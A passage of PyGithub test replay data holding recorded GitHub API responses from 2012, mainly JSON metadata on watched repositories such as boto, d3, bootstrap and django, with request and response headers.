graphs","full_name":"jamis/celtic_knot","has_wiki":true,"has_issues":true,"updated_at":"2011-10-12T04:36:53Z","forks":1,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:jamis/celtic_knot.git","open_issues":0,"fork":false,"svn_url":"https://github.com/jamis/celtic_knot","pushed_at":"2010-11-25T02:39:53Z","size":1272,"html_url":"https://github.com/jamis/celtic_knot","private":false,"url":"https://api.github.com/repos/jamis/celtic_knot","clone_url":"https://github.com/jamis/celtic_knot.git","owner":{"gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jamis","login":"jamis","id":1627},"name":"celtic_knot","has_downloads":true,"language":"Ruby","watchers":4,"git_url":"git://github.com/jamis/celtic_knot.git","id":209230,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-05-24T23:23:10Z"},{"description":"Source files used for an introduction to Twisted","full_name":"jdavisp3/twisted-intro","has_wiki":true,"has_issues":true,"updated_at":"2012-05-16T01:52:49Z","forks":11,"mirror_url":null,"homepage":"http://krondo.com/blog/?page_id=1327","ssh_url":"git@github.com:jdavisp3/twisted-intro.git","open_issues":0,"fork":false,"svn_url":"https://github.com/jdavisp3/twisted-intro","pushed_at":"2011-10-28T11:27:34Z","size":188,"html_url":"https://github.com/jdavisp3/twisted-intro","private":false,"url":"https://api.github.com/repos/jdavisp3/twisted-intro","clone_url":"https://github.com/jdavisp3/twisted-intro.git","owner":{"gravatar_id":"fcc237fd34a8e504f7224df0c58cc0b3","avatar_url":"https://secure.gravatar.com/avatar/fcc237fd34a8e504f7224df0c58cc0b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jdavisp3","login":"jdavisp3","id":43582},"name":"twisted-intro","has_downloads":true,"language":"Python","watchers":56,"git_url":"git://github.com/jdavisp3/twisted-intro.git","id":273325,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-08-09T17:54:00Z"},{"description":"The code we use to render README.your_favorite_markup","full_name":"github/markup","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T09:25:29Z","forks":258,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:github/markup.git","open_issues":84,"fork":false,"svn_url":"https://github.com/github/markup","pushed_at":"2012-04-05T21:13:31Z","size":356,"html_url":"https://github.com/github/markup","private":false,"url":"https://api.github.com/repos/github/markup","clone_url":"https://github.com/github/markup.git","owner":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/github","login":"github","id":9919},"name":"markup","has_downloads":false,"language":"Ruby","watchers":832,"git_url":"git://github.com/github/markup.git","id":355893,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-10-31T01:02:46Z"},{"description":"hub introduces git to GitHub","full_name":"defunkt/hub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-25T17:47:33Z","forks":91,"mirror_url":null,"homepage":"http://defunkt.io/hub/","ssh_url":"git@github.com:defunkt/hub.git","open_issues":13,"fork":false,"svn_url":"https://github.com/defunkt/hub","pushed_at":"2012-05-24T19:21:34Z","size":240,"html_url":"https://github.com/defunkt/hub","private":false,"url":"https://api.github.com/repos/defunkt/hub","clone_url":"https://github.com/defunkt/hub.git","owner":{"gravatar_id":"b8dbb1987e8e5318584865f880036796","avatar_url":"https://secure.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/defunkt","login":"defunkt","id":2},"name":"hub","has_downloads":false,"language":"Ruby","watchers":1183,"git_url":"git://github.com/defunkt/hub.git","id":401025,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2009-12-05T22:15:25Z"},{"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","full_name":"nvie/gitflow","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T08:35:20Z","forks":329,"mirror_url":null,"homepage":"http://nvie.com/posts/a-successful-git-branching-model/","ssh_url":"git@github.com:nvie/gitflow.git","open_issues":92,"fork":false,"svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-02-14T13:11:04Z","size":4602,"html_url":"https://github.com/nvie/gitflow","private":false,"url":"https://api.github.com/repos/nvie/gitflow","clone_url":"https://github.com/nvie/gitflow.git","owner":{"gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/nvie","login":"nvie","id":83844},"name":"gitflow","has_downloads":true,"language":"Shell","watchers":3973,"git_url":"git://github.com/nvie/gitflow.git","id":481366,"permissions":{"admin":false,"pull":true,"push":false},"master_branch":"develop","created_at":"2010-01-20T23:14:12Z"},{"description":"Large scale server deploys using BitTorrent and the BitTornado library","full_name":"lg/murder","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T08:40:06Z","forks":53,"mirror_url":null,"homepage":"http://twitter.com","ssh_url":"git@github.com:lg/murder.git","open_issues":8,"fork":false,"svn_url":"https://github.com/lg/murder","pushed_at":"2011-10-18T00:40:07Z","size":1228,"html_url":"https://github.com/lg/murder","private":false,"url":"https://api.github.com/repos/lg/murder","clone_url":"https://github.com/lg/murder.git","owner":{"gravatar_id":"f2583cecbd75c5999bf65d9eeb6a84f2","avatar_url":"https://secure.gravatar.com/avatar/f2583cecbd75c5999bf65d9eeb6a84f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/lg","login":"lg","id":181018},"name":"murder","has_downloads":true,"language":"Python","watchers":1229,"git_url":"git://github.com/lg/murder.git","id":481811,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2010-01-21T07:05:36Z"},{"description":"Python interface to Amazon Web Services","full_name":"boto/boto","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T09:26:37Z","forks":400,"mirror_url":null,"homepage":"http://docs.pythonboto.org/","ssh_url":"git@github.com:boto/boto.git","open_issues":144,"fork":false,"svn_url":"https://github.com/boto/boto","pushed_at":"2012-05-20T07:40:27Z","size":4183,"html_url":"https://github.com/boto/boto","private":false,"url":"https://api.github.com/repos/boto/boto","clone_url":"https://github.com/boto/boto.git","owner":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/boto","login":"boto","id":327752},"name":"boto","has_downloads":true,"language":"Python","watchers":1554,"git_url":"git://github.com/boto/boto.git","id":771016,"permissions":{"admin":false,"pull":true,"push":false},"master_branch":"develop","created_at":"2010-07-12T19:15:33Z"},{"description":"Agit - Git client for Android","full_name":"rtyley/agit","has_wiki":true,"has_issues":true,"updated_at":"2012-05-25T09:15:01Z","forks":41,"mirror_url":null,"homepage":"https://market.android.com/details?id=com.madgag.agit","ssh_url":"git@github.com:rtyley/agit.git","open_issues":34,"fork":false,"svn_url":"https://github.com/rtyley/agit","pushed_at":"2012-05-24T18:12:28Z","size":1200,"html_url":"https://github.com/rtyley/agit","private":false,"url":"https://api.github.com/repos/rtyley/agit","clone_url":"https://github.com/rtyley/agit.git","owner":{"gravatar_id":"1cdc781dd667a5d4b61340591bf1bef4","avatar_url":"https://secure.gravatar.com/avatar/1cdc781dd667a5d4b61340591bf1bef4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/rtyley","login":"rtyley","id":52038},"name":"agit","has_downloads":true,"language":"Java","watchers":207,"git_url":"git://github.com/rtyley/agit.git","id":870849,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2010-08-29T21:45:54Z"},{"description":"A JavaScript visualization library for HTML and SVG.","full_name":"mbostock/d3","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T08:34:46Z","forks":696,"mirror_url":null,"homepage":"http://d3js.org","ssh_url":"git@github.com:mbostock/d3.git","open_issues":111,"fork":false,"svn_url":"https://github.com/mbostock/d3","pushed_at":"2012-05-17T19:11:22Z","size":3268,"html_url":"https://github.com/mbostock/d3","private":false,"url":"https://api.github.com/repos/mbostock/d3","clone_url":"https://github.com/mbostock/d3.git","owner":{"gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/mbostock","login":"mbostock","id":230541},"name":"d3","has_downloads":true,"language":"JavaScript","watchers":6028,"git_url":"git://github.com/mbostock/d3.git","id":943149,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2010-09-27T17:22:42Z"},{"description":"Python bindings for libgit2","full_name":"libgit2/pygit2","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T01:50:51Z","forks":43,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:libgit2/pygit2.git","open_issues":10,"fork":false,"svn_url":"https://github.com/libgit2/pygit2","pushed_at":"2012-05-25T17:06:19Z","size":180,"html_url":"https://github.com/libgit2/pygit2","private":false,"url":"https://api.github.com/repos/libgit2/pygit2","clone_url":"https://github.com/libgit2/pygit2.git","owner":{"gravatar_id":"1c56acccc41c591705dc92da5f6ab603","avatar_url":"https://secure.gravatar.com/avatar/1c56acccc41c591705dc92da5f6ab603?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/libgit2","login":"libgit2","id":394745},"name":"pygit2","has_downloads":true,"language":"C","watchers":208,"git_url":"git://github.com/libgit2/pygit2.git","id":1062237,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2010-11-08T16:27:48Z"},{"description":"command line tool to facilitate github pull requests","full_name":"schacon/git-pulls","has_wiki":true,"has_issues":true,"updated_at":"2012-05-25T19:44:05Z","forks":21,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:schacon/git-pulls.git","open_issues":11,"fork":false,"svn_url":"https://github.com/schacon/git-pulls","pushed_at":"2011-10-28T07:11:56Z","size":1004,"html_url":"https://github.com/schacon/git-pulls","private":false,"url":"https://api.github.com/repos/schacon/git-pulls","clone_url":"https://github.com/schacon/git-pulls.git","owner":{"gravatar_id":"9375a9529679f1b42b567a640d775e7d","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/schacon","login":"schacon","id":70},"name":"git-pulls","has_downloads":true,"language":"Ruby","watchers":172,"git_url":"git://github.com/schacon/git-pulls.git","id":1201343,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2010-12-27T20:39:24Z"},{"description":"Django template tag for rendering math formulas","full_name":"emesik/django_mathlatex","has_wiki":true,"has_issues":true,"updated_at":"2011-11-03T17:46:24Z","forks":1,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:emesik/django_mathlatex.git","open_issues":0,"fork":false,"svn_url":"https://github.com/emesik/django_mathlatex","pushed_at":"2011-04-01T11:33:23Z","size":448,"html_url":"https://github.com/emesik/django_mathlatex","private":false,"url":"https://api.github.com/repos/emesik/django_mathlatex","clone_url":"https://github.com/emesik/django_mathlatex.git","owner":{"gravatar_id":"0d0c6eda804f912d230df91577e29180","avatar_url":"https://secure.gravatar.com/avatar/0d0c6eda804f912d230df91577e29180?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/emesik","login":"emesik","id":407107},"name":"django_mathlatex","has_downloads":true,"language":"Python","watchers":3,"git_url":"git://github.com/emesik/django_mathlatex.git","id":1447846,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-03-06T22:29:04Z"},{"description":"Collaborative Online Scrum Tool Using Websockets, Node.js, jQuery, and CSS3","full_name":"aliasaria/scrumblr","has_wiki":true,"has_issues":true,"updated_at":"2012-05-25T17:36:00Z","forks":52,"mirror_url":null,"homepage":"http://scrumblr.ca","ssh_url":"git@github.com:aliasaria/scrumblr.git","open_issues":14,"fork":false,"svn_url":"https://github.com/aliasaria/scrumblr","pushed_at":"2012-02-08T00:38:52Z","size":132,"html_url":"https://github.com/aliasaria/scrumblr","private":false,"url":"https://api.github.com/repos/aliasaria/scrumblr","clone_url":"https://github.com/aliasaria/scrumblr.git","owner":{"gravatar_id":"a08f4e2d6ccccab586b502992c31e2ce","avatar_url":"https://secure.gravatar.com/avatar/a08f4e2d6ccccab586b502992c31e2ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/aliasaria","login":"aliasaria","id":213343},"name":"scrumblr","has_downloads":true,"language":"JavaScript","watchers":467,"git_url":"git://github.com/aliasaria/scrumblr.git","id":1461917,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-03-10T02:29:38Z"},{"description":"GitHub API documentation","full_name":"github/developer.github.com","has_wiki":false,"has_issues":false,"updated_at":"2012-05-25T19:27:37Z","forks":121,"mirror_url":null,"homepage":"http://developer.github.com","ssh_url":"git@github.com:github/developer.github.com.git","open_issues":0,"fork":false,"svn_url":"https://github.com/github/developer.github.com","pushed_at":"2012-05-25T18:02:37Z","size":200,"html_url":"https://github.com/github/developer.github.com","private":false,"url":"https://api.github.com/repos/github/developer.github.com","clone_url":"https://github.com/github/developer.github.com.git","owner":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/github","login":"github","id":9919},"name":"developer.github.com","has_downloads":true,"language":"Ruby","watchers":255,"git_url":"git://github.com/github/developer.github.com.git","id":1666784,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-04-26T19:20:56Z"},{"description":"Github API v3 library for Python.","full_name":"ChristopherMacGown/python-github3","has_wiki":true,"has_issues":true,"updated_at":"2012-03-08T13:38:12Z","forks":11,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:ChristopherMacGown/python-github3.git","open_issues":1,"fork":false,"svn_url":"https://github.com/ChristopherMacGown/python-github3","pushed_at":"2011-11-22T18:10:52Z","size":236,"html_url":"https://github.com/ChristopherMacGown/python-github3","private":false,"url":"https://api.github.com/repos/ChristopherMacGown/python-github3","clone_url":"https://github.com/ChristopherMacGown/python-github3.git","owner":{"gravatar_id":"4174216c1dc0f223ce608d5a3b66a585","avatar_url":"https://secure.gravatar.com/avatar/4174216c1dc0f223ce608d5a3b66a585?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/ChristopherMacGown","login":"ChristopherMacGown","id":43081},"name":"python-github3","has_downloads":true,"language":"Python","watchers":20,"git_url":"git://github.com/ChristopherMacGown/python-github3.git","id":1676748,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-04-28T17:07:29Z"},{"description":"PlantUML plugin for MediaWiki","full_name":"pjkersten/PlantUML","has_wiki":true,"has_issues":true,"updated_at":"2012-02-06T15:26:40Z","forks":2,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:pjkersten/PlantUML.git","open_issues":0,"fork":false,"svn_url":"https://github.com/pjkersten/PlantUML","pushed_at":"2012-02-02T09:38:42Z","size":124,"html_url":"https://github.com/pjkersten/PlantUML","private":false,"url":"https://api.github.com/repos/pjkersten/PlantUML","clone_url":"https://github.com/pjkersten/PlantUML.git","owner":{"gravatar_id":"6e33170f0701d1d1d8dd57c8f95368ef","avatar_url":"https://secure.gravatar.com/avatar/6e33170f0701d1d1d8dd57c8f95368ef?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pjkersten","login":"pjkersten","id":771883},"name":"PlantUML","has_downloads":true,"language":"PHP","watchers":5,"git_url":"git://github.com/pjkersten/PlantUML.git","id":1710505,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-05-06T09:33:38Z"},{"description":"HTML, CSS, and JS toolkit from Twitter","full_name":"twitter/bootstrap","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T10:36:02Z","forks":5807,"mirror_url":null,"homepage":"http://twitter.github.com/bootstrap","ssh_url":"git@github.com:twitter/bootstrap.git","open_issues":225,"fork":false,"svn_url":"https://github.com/twitter/bootstrap","pushed_at":"2012-05-25T16:19:13Z","size":1176,"html_url":"https://github.com/twitter/bootstrap","private":false,"url":"https://api.github.com/repos/twitter/bootstrap","clone_url":"https://github.com/twitter/bootstrap.git","owner":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","login":"twitter","id":50278},"name":"bootstrap","has_downloads":true,"language":"JavaScript","watchers":29560,"git_url":"git://github.com/twitter/bootstrap.git","id":2126244,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-07-29T21:19:00Z"},{"description":"Drawn By is a collaborative real-time sketching app built for the 2011 Django Dash.","full_name":"stephenmcd/drawnby","has_wiki":true,"has_issues":true,"updated_at":"2012-04-30T11:48:56Z","forks":2,"mirror_url":null,"homepage":"http://drawnby.jupo.org","ssh_url":"git@github.com:stephenmcd/drawnby.git","open_issues":0,"fork":false,"svn_url":"https://github.com/stephenmcd/drawnby","pushed_at":"2011-08-01T10:26:00Z","size":672,"html_url":"https://github.com/stephenmcd/drawnby","private":false,"url":"https://api.github.com/repos/stephenmcd/drawnby","clone_url":"https://github.com/stephenmcd/drawnby.git","owner":{"gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","id":116385},"name":"drawnby","has_downloads":true,"language":"JavaScript","watchers":9,"git_url":"git://github.com/stephenmcd/drawnby.git","id":2136154,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-08-01T10:25:31Z"},{"description":"A Django app providing the features required to use websockets with Django via Socket.IO","full_name":"stephenmcd/django-socketio","has_wiki":true,"has_issues":true,"updated_at":"2012-05-25T18:54:30Z","forks":28,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:stephenmcd/django-socketio.git","open_issues":6,"fork":false,"svn_url":"https://github.com/stephenmcd/django-socketio","pushed_at":"2012-04-20T00:24:31Z","size":160,"html_url":"https://github.com/stephenmcd/django-socketio","private":false,"url":"https://api.github.com/repos/stephenmcd/django-socketio","clone_url":"https://github.com/stephenmcd/django-socketio.git","owner":{"gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","id":116385},"name":"django-socketio","has_downloads":true,"language":"JavaScript","watchers":262,"git_url":"git://github.com/stephenmcd/django-socketio.git","id":2139136,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-08-01T21:18:34Z"},{"description":"Use this application to get Socket.IO support in your Django project and dive into real time web.","full_name":"jstasiak/django-realtime","has_wiki":true,"has_issues":true,"updated_at":"2012-05-08T07:18:20Z","forks":2,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:jstasiak/django-realtime.git","open_issues":0,"fork":false,"svn_url":"https://github.com/jstasiak/django-realtime","pushed_at":"2012-04-21T16:22:25Z","size":132,"html_url":"https://github.com/jstasiak/django-realtime","private":false,"url":"https://api.github.com/repos/jstasiak/django-realtime","clone_url":"https://github.com/jstasiak/django-realtime.git","owner":{"gravatar_id":"93cdbd3d2a76da1adf727a6bc9fec1ed","avatar_url":"https://secure.gravatar.com/avatar/93cdbd3d2a76da1adf727a6bc9fec1ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jstasiak","login":"jstasiak","id":36209},"name":"django-realtime","has_downloads":true,"language":"JavaScript","watchers":15,"git_url":"git://github.com/jstasiak/django-realtime.git","id":2424738,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-09-20T19:13:10Z"},{"description":"Small programming examples for the FOX Board G20","full_name":"AcmeSystems/playground","has_wiki":true,"has_issues":true,"updated_at":"2012-05-21T16:12:27Z","forks":3,"mirror_url":null,"homepage":"http://www.acmesystems.it","ssh_url":"git@github.com:AcmeSystems/playground.git","open_issues":0,"fork":false,"svn_url":"https://github.com/AcmeSystems/playground","pushed_at":"2012-05-21T16:12:27Z","size":148,"html_url":"https://github.com/AcmeSystems/playground","private":false,"url":"https://api.github.com/repos/AcmeSystems/playground","clone_url":"https://github.com/AcmeSystems/playground.git","owner":{"gravatar_id":"af55714b265c4914c8bb8db49fc06da6","avatar_url":"https://secure.gravatar.com/avatar/af55714b265c4914c8bb8db49fc06da6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/AcmeSystems","login":"AcmeSystems","id":783524},"name":"playground","has_downloads":true,"language":"Python","watchers":6,"git_url":"git://github.com/AcmeSystems/playground.git","id":2593052,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-10-17T16:16:10Z"},{"description":"A silly & effective MD5 cracker in Ruby","full_name":"juuso/BozoCrack","has_wiki":true,"has_issues":true,"updated_at":"2012-05-21T19:49:13Z","forks":39,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:juuso/BozoCrack.git","open_issues":8,"fork":false,"svn_url":"https://github.com/juuso/BozoCrack","pushed_at":"2011-11-07T14:55:19Z","size":140,"html_url":"https://github.com/juuso/BozoCrack","private":false,"url":"https://api.github.com/repos/juuso/BozoCrack","clone_url":"https://github.com/juuso/BozoCrack.git","owner":{"gravatar_id":"d3231546d42d67974fc51956a3b627f4","avatar_url":"https://secure.gravatar.com/avatar/d3231546d42d67974fc51956a3b627f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/juuso","login":"juuso","id":614446},"name":"BozoCrack","has_downloads":true,"language":"Ruby","watchers":376,"git_url":"git://github.com/juuso/BozoCrack.git","id":2726128,"permissions":{"admin":false,"pull":true,"push":false},"created_at":"2011-11-07T13:02:08Z"},{"description":"","full_name":"BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"updated_at":"2012-02-16T21:51:15Z","forks":1,"mirror_url":null,"homepage":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","open_issues":0,"fork":false,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","pushed_at":null,"size":0,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","private":false,"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"name":"FatherBeaver","has_downloads":true,"language":null,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","id":3400397,"permissions":{"admin":true,"pull":true,"push":true},"created_at":"2012-02-09T19:32:21Z"}] https GET api.github.com None /users/jacquev6/watched?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '4493'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"5894e9073dc54de74c439e23fc738fe7"'), ('date', 'Sat, 26 May 2012 10:36:30 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/abersager/PyGithub.git","has_downloads":true,"watchers":2,"updated_at":"2012-03-28T10:37:22Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/abersager/PyGithub","owner":{"url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","pushed_at":"2012-03-26T10:05:31Z","created_at":"2012-03-26T09:12:45Z","id":3831162,"mirror_url":null,"html_url":"https://github.com/abersager/PyGithub","full_name":"abersager/PyGithub"},{"clone_url":"https://github.com/django/django.git","has_downloads":true,"watchers":2391,"updated_at":"2012-05-26T10:30:33Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/django/django","has_wiki":false,"has_issues":false,"fork":false,"forks":263,"size":8408,"private":false,"open_issues":37,"svn_url":"https://github.com/django/django","owner":{"url":"https://api.github.com/users/django","avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","login":"django","id":27804},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:django/django.git","git_url":"git://github.com/django/django.git","pushed_at":"2012-05-26T09:54:24Z","created_at":"2012-04-28T02:47:18Z","id":4164482,"mirror_url":null,"html_url":"https://github.com/django/django","full_name":"django/django"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"mirror_url":null,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","git_url":"git://github.com/jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"mirror_url":null,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testHasInFollowing.txt0000644000175100001660000000551414756101563024371 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, 